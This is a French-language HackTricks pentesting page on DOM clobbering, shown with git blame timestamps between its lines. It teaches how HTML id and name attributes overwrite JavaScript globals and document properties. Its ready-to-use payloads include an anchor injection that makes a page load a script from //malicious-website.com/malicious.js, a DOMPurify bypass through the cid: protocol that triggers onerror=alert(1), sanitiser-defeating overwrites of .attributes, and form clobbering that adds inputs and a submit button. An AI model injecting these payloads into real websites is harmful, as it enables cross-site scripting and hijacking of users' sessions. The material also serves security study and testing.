hacktricks/pentesting-web/xss-cross-site-scripting/dom-clobbering.md

223 lines
14 KiB
Markdown
Raw Normal View History

2022-10-13 00:56:34 +00:00
# Dom Clobbering
<details>
2023-04-25 20:35:28 +02:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-10-13 00:56:34 +00:00
2023-06-03 13:10:46 +00:00
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
2022-10-13 00:56:34 +00:00
</details>
2023-06-03 13:10:46 +00:00
## **Fondamentaux**
2023-03-03 15:39:23 +00:00
2023-06-03 13:10:46 +00:00
Il est possible de générer des **variables globales à l'intérieur du contexte JS** avec les attributs **`id`** et **`name`** dans les balises HTML.
2023-03-03 15:39:23 +00:00
```html
<form id=x></form>
<script> console.log(typeof document.x) //[object HTMLFormElement] </script>
```
2023-06-03 13:10:46 +00:00
Seuls certains éléments peuvent utiliser l'attribut **name** pour écraser les variables globales, il s'agit de: `embed`, `form`, `iframe`, `image`, `img` et `object`.
2023-03-03 15:39:23 +00:00
2023-06-03 13:10:46 +00:00
Curieusement, lorsque vous utilisez un **élément de formulaire** pour **écraser** une variable, vous obtenez la valeur **`toString`** de l'élément lui-même: `[object HTMLFormElement]`, mais avec **anchor** le **`toString`** sera le **`href`** de l'ancre. Par conséquent, si vous écrasez en utilisant la balise **`a`**, vous pouvez **contrôler** la **valeur** lorsqu'elle est **traitée comme une chaîne de caractères**:
2023-03-03 15:39:23 +00:00
```html
<a href="controlled string" id=x></a>
<script>
console.log(x);//controlled string
</script>
```
2023-06-03 13:10:46 +00:00
### Tableaux et Attributs
2023-03-03 15:39:23 +00:00
2023-06-03 13:10:46 +00:00
Il est également possible de **clobber un tableau** et les **attributs d'un objet** :
2023-03-03 15:39:23 +00:00
```html
<a id=x>
<a id=x name=y href=controlled>
<script>
console.log(x[1])//controlled
console.log(x.y)//controlled
</script>
```
2023-06-03 13:10:46 +00:00
Pour écraser **un 3ème attribut** (par exemple x.y.z), vous devez utiliser un **`form`**:
2023-03-03 15:39:23 +00:00
```html
<form id=x name=y><input id=z value=controlled></form>
<form id=x></form>
<script>
alert(x.y.z.value)//controlled
</script>
```
2023-06-03 13:10:46 +00:00
Écraser plus d'attributs est **plus compliqué mais toujours possible**, en utilisant des iframes:
2023-03-03 15:39:23 +00:00
```html
<iframe name=x srcdoc="<a id=y href=controlled></a>"></iframe>
<style>@import 'https://google.com';</style>
<script>alert(x.y)//controlled</script>
```
{% hint style="warning" %}
2023-06-03 13:10:46 +00:00
La balise style est utilisée pour **donner suffisamment de temps à l'iframe pour se rendre**. Sans cela, vous obtiendrez une alerte d'**indéfini**.
2023-03-03 15:39:23 +00:00
{% endhint %}
2023-06-03 13:10:46 +00:00
Pour écraser des attributs plus profonds, vous pouvez utiliser des **iframes avec encodage HTML** de cette manière :
2023-03-03 15:39:23 +00:00
```html
<iframe name=a srcdoc="<iframe srcdoc='<iframe name=c srcdoc=<a/id=d&amp;amp;#x20;name=e&amp;amp;#x20;href=\controlled&amp;amp;gt;<a&amp;amp;#x20;id=d&amp;amp;gt; name=d>' name=b>"></iframe>
<style>@import 'https://google.com';</style>
<script>
alert(a.b.c.d.e)//controlled
</script>
```
2023-06-03 13:10:46 +00:00
### **Contournement de filtres**
2023-03-03 15:39:23 +00:00
2023-06-03 13:10:46 +00:00
Si un filtre **boucle** à travers les **propriétés** d'un nœud en utilisant quelque chose comme `document.getElementByID('x').attributes`, vous pouvez **écraser** l'attribut **`.attributes`** et **casser le filtre**. D'autres propriétés DOM comme **`tagName`**, **`nodeName`** ou **`parentNode`** et plus encore sont également **écrasables**.
2023-03-03 15:39:23 +00:00
```html
<form id=x></form>
<form id=y>
<input name=nodeName>
</form>
<script>
console.log(document.getElementById('x').nodeName)//FORM
console.log(document.getElementById('y').nodeName)//[object HTMLInputElement]
</script>
```
2023-06-03 13:10:46 +00:00
## **Écrasement de `window.someObject`**
2023-03-03 15:39:23 +00:00
2023-06-03 13:10:46 +00:00
Un modèle couramment utilisé par les développeurs JavaScript est :
2023-03-03 15:39:23 +00:00
```javascript
var someObject = window.someObject || {};
```
2023-06-03 13:10:46 +00:00
Si vous pouvez contrôler une partie du HTML sur la page, vous pouvez écraser la référence `someObject` avec un nœud DOM, tel qu'une ancre. Considérez le code suivant:
2022-10-13 00:56:34 +00:00
```html
<script>
window.onload = function(){
let someObject = window.someObject || {};
let script = document.createElement('script');
script.src = someObject.url;
document.body.appendChild(script);
};
</script>
```
2023-06-03 13:10:46 +00:00
Pour exploiter ce code vulnérable, vous pouvez injecter le HTML suivant pour écraser la référence `someObject` avec un élément d'ancre :
2022-10-13 00:56:34 +00:00
2023-03-03 15:39:23 +00:00
{% code overflow="wrap" %}
```html
<a id=someObject><a id=someObject name=url href=//malicious-website.com/malicious.js>
```
{% endcode %}
2022-10-13 00:56:34 +00:00
2023-06-03 13:10:46 +00:00
Injecter ces données **`window.someObject.url`** va donner `href=//malicious-website.com/malicious.js`
2022-10-13 00:56:34 +00:00
2023-06-03 13:10:46 +00:00
**Astuce**: **`DOMPurify`** vous permet d'utiliser le protocole **`cid:`**, qui **n'encode pas les guillemets doubles**. Cela signifie que vous pouvez **injecter une guillemet double encodée qui sera décodée à l'exécution**. Par conséquent, l'injection de quelque chose comme **`<a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:&quot;onerror=alert(1)//">`** fera que l'encodage HTML `&quot;` sera **décodé à l'exécution** et **s'échappera** de la valeur de l'attribut pour **créer** l'événement **`onerror`**.
2022-10-13 00:56:34 +00:00
2023-06-03 13:10:46 +00:00
Une autre technique courante consiste à utiliser l'élément **`form`**. Certaines bibliothèques côté client parcourront les attributs de l'élément de formulaire créé pour le nettoyer. Mais, si vous créez un `input` à l'intérieur du formulaire avec `id=attributes`, vous allez **écraser la propriété d'attributs** et le nettoyeur **ne pourra pas** parcourir les **vrais attributs**.
2022-10-13 00:56:34 +00:00
2023-06-03 13:10:46 +00:00
Vous pouvez [**trouver un exemple de ce type d'écrasement dans ce writeup CTF**](iframes-in-xss-and-csp.md#iframes-in-sop-2).
2022-10-13 00:56:34 +00:00
2023-06-03 13:10:46 +00:00
## Écrasement de l'objet document
2022-10-13 00:56:34 +00:00
2023-06-03 13:10:46 +00:00
Selon la documentation, il est possible de remplacer les attributs de l'objet document en utilisant DOM Clobbering:
2022-10-13 00:56:34 +00:00
2023-06-03 13:10:46 +00:00
> L'interface [Document](https://html.spec.whatwg.org/multipage/dom.html#document) [prend en charge les propriétés nommées](https://webidl.spec.whatwg.org/#dfn-support-named-properties). Les [noms de propriétés pris en charge](https://webidl.spec.whatwg.org/#dfn-supported-property-names) d'un objet [Document](https://html.spec.whatwg.org/multipage/dom.html#document) document à tout moment se composent des éléments suivants, dans l'ordre de l'arbre selon l'élément qui les a contribués, en ignorant les doublons ultérieurs, et avec des valeurs provenant des attributs [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) venant avant les valeurs des attributs name lorsque le même élément contribue aux deux :
2022-10-13 00:56:34 +00:00
>
2023-06-03 13:10:46 +00:00
> \- La valeur de l'attribut de contenu name pour tous les éléments [exposés](https://html.spec.whatwg.org/multipage/dom.html#exposed) [embed](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-embed-element), [form](https://html.spec.whatwg.org/multipage/forms.html#the-form-element), [iframe](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-iframe-element), [img](https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element), et [exposés](https://html.spec.whatwg.org/multipage/dom.html#exposed) [object](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-object-element) qui ont un attribut de contenu name non vide et sont [dans un arbre de document](https://dom.spec.whatwg.org/#in-a-document-tree) avec le document comme [racine](https://dom.spec.whatwg.org/#concept-tree-root);\
2022-10-13 00:56:34 +00:00
> \
2023-06-03 13:10:46 +00:00
> \- La valeur de l'attribut de contenu [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) pour tous les éléments [exposés](https://html.spec.whatwg.org/multipage/dom.html#exposed) [object](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-object-element) qui ont un attribut de contenu [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) non vide et sont [dans un arbre de document](https://dom.spec.whatwg.org/#in-a-document-tree) avec le document comme [racine](https://dom.spec.whatwg.org/#concept-tree-root);\
2022-10-13 00:56:34 +00:00
> \
2023-06-03 13:10:46 +00:00
> \- La valeur de l'attribut de contenu [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) pour tous les éléments [img](https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element) qui ont à la fois un attribut de contenu [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) non vide et un attribut de contenu name non vide, et sont [dans un arbre de document](https://dom.spec.whatwg.org/#in-a-document-tree) avec le document comme [racine](https://dom.spec.whatwg.org/#concept-tree-root).
2022-10-13 00:56:34 +00:00
2023-06-03 13:10:46 +00:00
En utilisant cette technique, vous pouvez remplacer des **valeurs couramment utilisées telles que `document.cookie`, `document.body`, `document.children`**, et même des méthodes de l'interface Document comme `document.querySelector`.
2022-10-13 00:56:34 +00:00
```javascript
document.write("<img name=cookie />")
document.cookie
<img name="cookie">
typeof(document.cookie)
'object'
//Something more sanitize friendly than a img tag
document.write("<form name=cookie><input id=toString></form>")
document.cookie
HTMLCollection(2) [img, form, cookie: img]
typeof(document.cookie)
'object
```
2023-06-03 13:10:46 +00:00
## Écriture après l'élément ciblé
2022-10-13 00:56:34 +00:00
2023-06-03 13:10:46 +00:00
Vous pouvez écraser les résultats d'un appel **`document.getElementById()`** et **`document.querySelector()`** si **vous injectez une balise `<html>` ou `<body>` avec le même attribut id**. Voici un exemple:
2022-12-20 11:25:07 +00:00
```html
2023-03-03 15:39:23 +00:00
<div style=display:none id=cdnDomain class=x>test</div>
2022-12-20 11:25:07 +00:00
<p>
2023-03-03 15:39:23 +00:00
<html id="cdnDomain" class=x>clobbered</html>
2022-12-20 11:25:07 +00:00
<script>
alert(document.getElementById('cdnDomain').innerText);//clobbbered
2023-03-03 15:39:23 +00:00
alert(document.querySelector('.x').innerText);//clobbbered
2022-12-20 11:25:07 +00:00
</script>
```
2023-06-03 13:10:46 +00:00
Ce qui est également intéressant, c'est que vous pouvez **cacher des éléments de `innerText`**, donc si vous injectez une balise HTML/body, vous pouvez utiliser des styles pour la cacher de `innerText` afin d'empêcher d'autres textes d'interférer avec votre attaque:
2022-12-20 11:25:07 +00:00
```html
<div style=display:none id=cdnDomain>test</div>
<p>existing text</p>
<html id="cdnDomain">clobbered</html>
<style>
p{display:none;}
</style>
<script>
alert(document.getElementById('cdnDomain').innerText);//clobbbered
</script>
```
2023-06-03 13:10:46 +00:00
Nous avons également examiné SVG et il est possible d'utiliser la balise `<body>` là-bas:
2022-12-20 11:25:07 +00:00
```html
<div style=display:none id=cdnDomain>example.com</div>
<svg><body id=cdnDomain>clobbered</body></svg>
<script>
alert(document.getElementById('cdnDomain').innerText)//clobbered
</script>
```
2023-06-03 13:10:46 +00:00
Il est nécessaire d'utiliser la balise `<foreignobject>` pour utiliser la balise HTML à l'intérieur de SVG sur Chrome et Firefox.
2022-12-20 11:25:07 +00:00
```html
<div style=display:none id=cdnDomain>example.com</div>
<svg>
<foreignobject>
<html id=cdnDomain>clobbered</html>
</foreignobject>
</svg>
<script>
alert(document.getElementById('cdnDomain').innerText)//clobbered
</script>
```
2023-06-03 13:10:46 +00:00
## Clobbering de formulaires
2022-12-20 11:25:07 +00:00
2023-06-03 13:10:46 +00:00
Il est possible d'ajouter de **nouvelles entrées dans un formulaire** simplement en **spécifiant l'attribut `form`** dans certaines balises. Vous pouvez utiliser cela pour **ajouter de nouvelles valeurs dans un formulaire** et même ajouter un nouveau **bouton** pour **l'envoyer** (clickjacking ou en abusant de certains codes JS `.click()`):
2023-02-20 09:58:12 +00:00
{% code overflow="wrap" %}
```html
<!--Add a new attribute and a new button to send-->
<textarea form=id-other-form name=info>
";alert(1);//
</textarea>
<button form=id-other-form type="submit" formaction="/edit" formmethod="post">
Click to send!
</button>
```
{% endcode %}
2023-06-03 13:10:46 +00:00
* Pour plus d'attributs de formulaire dans [**button check this**](https://www.w3schools.com/tags/tag\_button.asp)**.**
2023-02-20 09:58:12 +00:00
2023-06-03 13:10:46 +00:00
## Références
2022-12-20 11:25:07 +00:00
* [https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering](https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering)
2023-06-03 13:10:46 +00:00
* Heyes, Gareth. JavaScript pour les pirates informatiques: Apprenez à penser comme un pirate.
2022-12-20 11:25:07 +00:00
2022-10-13 00:56:34 +00:00
<details>
2023-04-25 20:35:28 +02:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-10-13 00:56:34 +00:00
2023-06-03 13:10:46 +00:00
* Travaillez-vous dans une **entreprise de cybersécurité**? Voulez-vous voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
2022-10-13 00:56:34 +00:00
</details>